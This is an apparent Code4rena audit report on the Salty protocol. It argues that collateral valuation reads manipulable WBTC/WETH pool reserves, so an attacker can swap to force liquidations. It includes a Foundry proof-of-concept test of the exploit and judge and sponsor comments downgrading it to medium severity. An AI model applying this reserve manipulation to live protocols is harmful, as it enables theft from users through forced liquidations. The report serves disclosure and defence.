Attacker can liquidated users by manipulationg WETH/WBTC pool reserves

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L145 https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L304 https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L230-L235

Vulnerability details

Vulnerability details

userCollateralValueInUSD, which is called by canUserBeLiquidated, uses the WETH/WBTC pool reserves to calculate how much worth of WBTC and WETH are liquidated user's shares. Then these numbers are used to calculate the underlyingTokenValueInUSD. But depending on WBTC and WETH price, this can change the USD value of its shares, making him liquidable or not.

By swapping into the pool, the attacker can change the reserves ratio of WBTC and WETH to put users in a liquidation position to get the liquidation reward, then set back the pool to its previous state and keep the profit.

https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L230-L235

File: src\stable\CollateralAndLiquidity.sol
221:    function userCollateralValueInUSD( address wallet ) public view returns (uint256)
222:        {
223:        uint256 userCollateralAmount = userShareForPool( wallet, collateralPoolID );
224:        if ( userCollateralAmount == 0 )
225:            return 0;
226: 
227:        uint256 totalCollateralShares = totalShares[collateralPoolID];
228: 
229:        // Determine how much collateral share the user currently has
230:        (uint256 reservesWBTC, uint256 reservesWETH) = pools.getPoolReserves(wbtc, weth); //@audit-issue manipulable
231: 
232:        uint256 userWBTC = (reservesWBTC * userCollateralAmount ) / totalCollateralShares; //@audit we can change userWBTC and userWETH ratio so that underlyingTokenValueInUSD return another amount
233:        uint256 userWETH = (reservesWETH * userCollateralAmount ) / totalCollateralShares;
234: 
235:        return underlyingTokenValueInUSD( userWBTC, userWETH );
236:        }

Impact

A malicious user can manipulate the WBTC/WETH reserves ratio by swapping and use this to liquidate users.

Proof of Concept

    function test_auditMakeUserLiquidatable() public { //@audit H03: POC 

        // Bob deposits collateral so alice can be liquidated
        vm.startPrank(bob);
        collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtc.balanceOf(bob), weth.balanceOf(bob), 0, block.timestamp, false );
        vm.stopPrank();

        // Deposit and borrow from Alice's account to create basis for liquidation
        _depositCollateralAndBorrowMax(alice);
        // Warp past the lockout period, so liquidation is now allowed
        vm.warp(block.timestamp + 1 hours); // warp to just after the lockout period

        // Cause a drastic price drop just above liquidation threshold
        vm.startPrank( DEPLOYER );
        forcedPriceFeed.setBTCPrice( forcedPriceFeed.getPriceBTC() * 55 / 100);
        forcedPriceFeed.setETHPrice( forcedPriceFeed.getPriceETH() * 55 / 100);
        vm.stopPrank();

        //Alice is not liquidable
        assertEq(collateralAndLiquidity.canUserBeLiquidated(alice), false);
        vm.expectRevert("User cannot be liquidated");
        collateralAndLiquidity.liquidateUser(alice);

        //liquidator swap WBTC in the pool to change the reserves ratio
        uint256 wbtcAmount = 1e8;
        deal(address(wbtc), address(this), wbtcAmount);
        wbtc.approve(address(pools), wbtcAmount);
        pools.deposit(wbtc, wbtcAmount);
        pools.swap(wbtc, weth, wbtcAmount, 0, block.timestamp);

        //after swap, Alice become liquidable
        assertEq(collateralAndLiquidity.canUserBeLiquidated(alice), true);

        //liquidator then liquidate alice
        collateralAndLiquidity.liquidateUser(alice);
    }

Assessed type

Oracle

[c4-judge]

Picodes marked the issue as primary issue

[c4-sponsor]

othernet-global (sponsor) disputed

[othernet-global]

Collateral value is determined by the PriceAggregator which uses Chainlink, Uniswap TWAP and Salty reserves.

Manipulation of simply the Salty reserves is insufficient to effect collateral value as the other two prices will then be used.

[c4-judge]

Picodes marked the issue as duplicate of #222

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes marked the issue as not a duplicate

[Picodes]

Collateral value is determined by the PriceAggregator which uses Chainlink, Uniswap TWAP and Salty reserves.

Manipulation of simply the Salty reserves is insufficient to effect collateral value as the other two prices will then be used.

This report isn't about manipulating PriceAggregator but the pool's reserves. Essentially it is #222 but to trigger liquidations

[c4-judge]

Picodes marked the issue as duplicate of #222

[c4-judge]

Picodes changed the severity to 2 (Med Risk)